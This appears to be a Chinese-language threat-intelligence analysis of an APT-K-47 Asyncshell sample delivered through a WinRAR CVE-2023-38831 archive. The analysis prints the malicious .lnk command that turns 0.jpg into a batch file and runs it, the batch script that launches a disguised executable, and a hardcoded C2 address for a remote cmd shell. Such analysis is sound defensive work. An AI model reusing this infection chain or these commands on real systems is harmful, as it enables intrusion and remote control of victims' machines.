APT-K-47 Asyncshell Version1 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

该样本于2024年1月捕获,MD5:2fe895b10d493cfef981aa708bbcc12d

同期样本MD5

ce6a589d5e3604112e5595a1f8d53e1e

751f427da8e11d8ab394574260735220

样本分析:

md5值:2fe895b10d493cfef981aa708bbcc12d

部分十六进制:

image

可以看到该文件是zip压缩包,将其解压后得到新的rar压缩包,文件名:AbroadDuty.rar,

md5值:7a2c0e0a7ac1d8b91654e762a098f120

再次解压可得到MOM.pdf​以及同名文件夹

image

MOM.pdf md5:c28d5cfe0141aa093f078d7e9ab3257e

文件内容与政府工作报告相关:

image

~temp​目录下得到另外的~temp​文件夹以及AbroadDuty.pdf​,经校验md5发现与MOM.pdf​属于同一文件

在目录MoM.pdf_\~temp\~temp\~temp\~temp\~temp\~temp\~temp\~temp\​得到真正的攻击载荷

image

此处利用CVE-2023-38831, WinRAR 的逻辑漏洞,在处理精心设计的压缩包时会导致多余的临时文件扩展,再加上在尝试打开扩展名包含空格的文件时 Windows ShellExecute 执行其中的恶意代码。当用户尝试查看 ZIP 存档中的正常文件(例如普通的 PNG 文件)时,该漏洞允许攻击者执行任意代码。

0.jpg md5:b804da107e65d18c1fa585b00dc10a4f

MoM.pdf .lnk md5:6a405d4e88b4acb9706e19a83aad9cf6

put.png md5:ce6a589d5e3604112e5595a1f8d53e1e

MoM.pdf .lnk内容:

image

%windir%\system32\cmd.exe /c for /f "delims=" %F in ('where /r %Temp% 0.jpg 2^>nul') do copy "%F" "%F.bat" & "%F.bat"

运行后会调用cmd进行递归搜索 %Temp%​ 目录寻找 0.jpg​ 文件,然后将找到的 0.jpg​ 文件复制为同名的 .bat​ 批处理文件并且执行它

0.jpg:

image

@echo 0ff
pushd "%~dp0"
rename *.png *.exe
start /min put.exe
start Mom.pdf
exit

关闭回显,将批处理所在的路径设为当前路径,将当前目录下的png文件统一更改为exe文件,此时put.png更名为put.exe,最小化启动put.exe,启动Mom.pdf文件,执行完后退出。

put.png:

image

发现是exe可执行程序

image

image

经分析发现,该恶意程序通过连接C2服务器完成cmd shell,C2的IP地址明文写到程序中

image

185.243.113.187
Connected to server.
Error connecting to the server: AConnection lost. Reconnecting...
Error executing command: !Error occurred: Attempting to reconnect in {0} seconds...
Exiting the application.
Max reconnection attempts reached. 
Exiting the application.
exit)
Server disconnected.
'cmd/c powershellCommand: 
Output:

微步标签:

image

image